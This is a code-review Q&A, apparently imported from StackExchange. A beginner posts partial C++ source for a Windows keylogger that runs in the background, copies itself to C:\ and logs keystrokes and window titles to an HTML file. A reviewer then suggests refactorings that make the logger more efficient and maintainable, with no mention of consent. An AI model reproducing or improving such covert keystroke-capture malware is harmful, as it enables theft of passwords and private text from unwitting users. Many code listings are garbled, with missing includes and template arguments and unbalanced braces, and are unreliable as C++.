HiveBrain v1.2.0
Get Started
← Back to all entries
patterncppMinor

Windows Keylogger

Submitted by: @import:stackexchange-codereview··
0
Viewed 0 times
keyloggerwindowsstackoverflow

Problem

I am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days.

Features of keylogger for now:

  • Self-copying to C:\ directory



  • Saving keystrokes to an .html file



  • Working in background



My questions:

  • Are names of variables are correct?



  • What can I do to improve getting foreground window (actually not always works)?



h3wroKeylogger.cpp

```
#include
#include
#include
#include
#include
#include

HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);

if (hCurrentWindow != GetForegroundWindow())
{
hCurrentWindow = GetForegroundWindow();
char title[256];
GetWindowTextA(hCurrentWindow, title, sizeof(title));

sLogs += "";
sLogs += asctime(localtime(&t));
sLogs += "Window name: ";
sLogs += title;
sLogs += "]";
}

if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
is_capslock = true;
}

switch (key) {
case 1:
return 0;
break;
case 2:
return 0;
break;
//-----------------------------------------------------------------------
//End of mouse
//-----------------------------------------------------------------------
case 96:
iBackspaceCounter = 0;
sLogs += "0";
break;
case 97:
iBackspaceCounter = 0;
sLogs += "1";
break;
case 98:
iBackspaceCounter = 0;
sLogs += "2";
break;
case 99:
iBackspaceCounter = 0;
sLogs += "3";
break;
case 100:
iBackspaceCounter = 0;
sLogs += "4";
break;
case 101:
iBackspaceCounter = 0;
sLogs += "5";
break;
case 102:
iBackspaceCounter = 0;
sLogs += "6";
break;
case 103:
iBackspaceCounter = 0;
sLogs += "7";
break;
case 104:
iBackspaceCounter = 0;
sLogs += "8";
break;
case 105:
iBackspaceCounter = 0;
sLogs +=

Solution

A few thoughts:

  1. Fix your formatting



Code that appears within a function scope should be indented by another set of spaces (tab):

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}


=>

int save(int key)
{
    std::ofstream out_file;
    out_file.open("logs.html", std::ios_base::app);
    std::string sLogs = "";
    // ...
}


  1. Do not use using namespace std;



While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.

See more details here please:

Why is “using namespace std;” considered bad practice?

Also, you're prefixing your standard classes in use with std:: anyways.

  1. C++ offers classes, use them



Instead of using global variables, encapsulate your stateful data in a class:

class MyKeyLogger {
     HWND hCurrentWindow;
     char sWindowTitle[256];
     bool is_capslock = false;
     int iBackspaceCounter = 0;

 public:
     int save(int key);
 };


  1. Use ofstream efficiently



Opening and closing out_file on every keystroke looks extremely inefficient for me.

With the above mentioned class approach, you could make out_file a member variable, and initialize it once in the constructor:

class MyKeyLogger {
     // ...
     std::ofstream out_file;

 public:
      MyKeyLogger(std::string logfilename = "logs.html") {
          out_file.open(logfilename , std::ios_base::app);
      }
      // ...
 };


In the save() function, it's enough to call out_file.flush(); to update the file then, instead of closing the stream.

  1. Avoid large switch() statements / if() else if() cascades



Such kind of code is hard to read and maintain consistently.

Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:

case 66:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "B";
    }
    else
        sLogs += "b";
    break;

// ...
case 68:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
         sLogs += "D";
    }
    else
         sLogs += "d";
    break;


A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:

struct IKeyStrokeHandler {
    virtual ~IKeyStrokeHandler() {}
    bool handlesKey(int key) const = 0;
    std::string doKeyTranslation(int key) const = 0;
};


// Partial implementation
class AbstractKeyStrokeHandler : public IKeyStrokeHandler {
     class Key;
     std::map handledKeys_;             
protected:
     struct Key {
          string standardRepresentation;
          string shiftRepresentation;
     };
     AbstractKeyStrokeHandler(const std::map& handledKeys) 
     : handledKeys_(handledKeys) {
     }
public:
     bool handlesKey(int key) {
         return (handledKeys_.find(key) != handledKeys_.end());
     }
     // Retrieve the mapped values accordigly
     std::string doKeyTranslation(int key) const {
          if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
              return handledKeys_[key].shiftRepresentation;
          }                  
          return handledKeys_[key].standardRepresentation;
    }             
};


// A concrete implemetation for simple key translations
class SimpleKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
    SimpleKeyStrokeHandler() : AbstractKeyStrokeHandler(
        std::map{ 
            {66, {"b", "B"},
            {68, {"d", "D"},
        } )
    {}
 };


// Mouse key handler
 class MouseKeyStrokeHandler : public AbstractKeyStrokeHandler {
 public:
     MouseKeyStrokeHandler () : AbstractKeyStrokeHandler(
         std::map{ 
                   {0, {"", ""},
                   {1, {"", ""},
               } )
     {}
 };


// Special key handler
class SpecialKeyStrokeHandler : public AbstractKeyStrokeHandler {
    int& iBackSpaceCounter_;
public:
    SpecialKeyStrokeHandler(int& iBackSpaceCounter) 
    : AbstractKeyStrokeHandler(
        std::map{ 
                  {96, {"0", "0"},
                  {97, {"1", "1"},
                  // ...
                  {105, {"9", "9"},

              } ),
    , iBackSpaceCounter_(iBackSpaceCounter)
    {}
    std::string doKeyTranslation(int key) const {
        iBackSpaceCounter_ = 0;
        return AbstractKeyStrokeHandler::doKeyTranslation(key);
 };


The various key handler implementations could be used in your key logger class like so:

```
class MyKeylogger {
std::vector keyStrokeHandlers;

MyKeyLogger() {
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique());
keyStrokeHandlers.push_back(std::make_unique(iBackspaceCounter));
}
int save(int key)
{
// ...
for(const auto& keyStrokeHandler : keyStroke

Code Snippets

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}
int save(int key)
{
    std::ofstream out_file;
    out_file.open("logs.html", std::ios_base::app);
    std::string sLogs = "";
    // ...
}
class MyKeyLogger {
     HWND hCurrentWindow;
     char sWindowTitle[256];
     bool is_capslock = false;
     int iBackspaceCounter = 0;

 public:
     int save(int key);
 };
class MyKeyLogger {
     // ...
     std::ofstream out_file;

 public:
      MyKeyLogger(std::string logfilename = "logs.html") {
          out_file.open(logfilename , std::ios_base::app);
      }
      // ...
 };
case 66:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
        sLogs += "B";
    }
    else
        sLogs += "b";
    break;

// ...
case 68:
    iBackspaceCounter = 0;
    if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
         sLogs += "D";
    }
    else
         sLogs += "d";
    break;

Context

StackExchange Code Review Q#153668, answer score: 8

Revisions (0)

No revisions yet.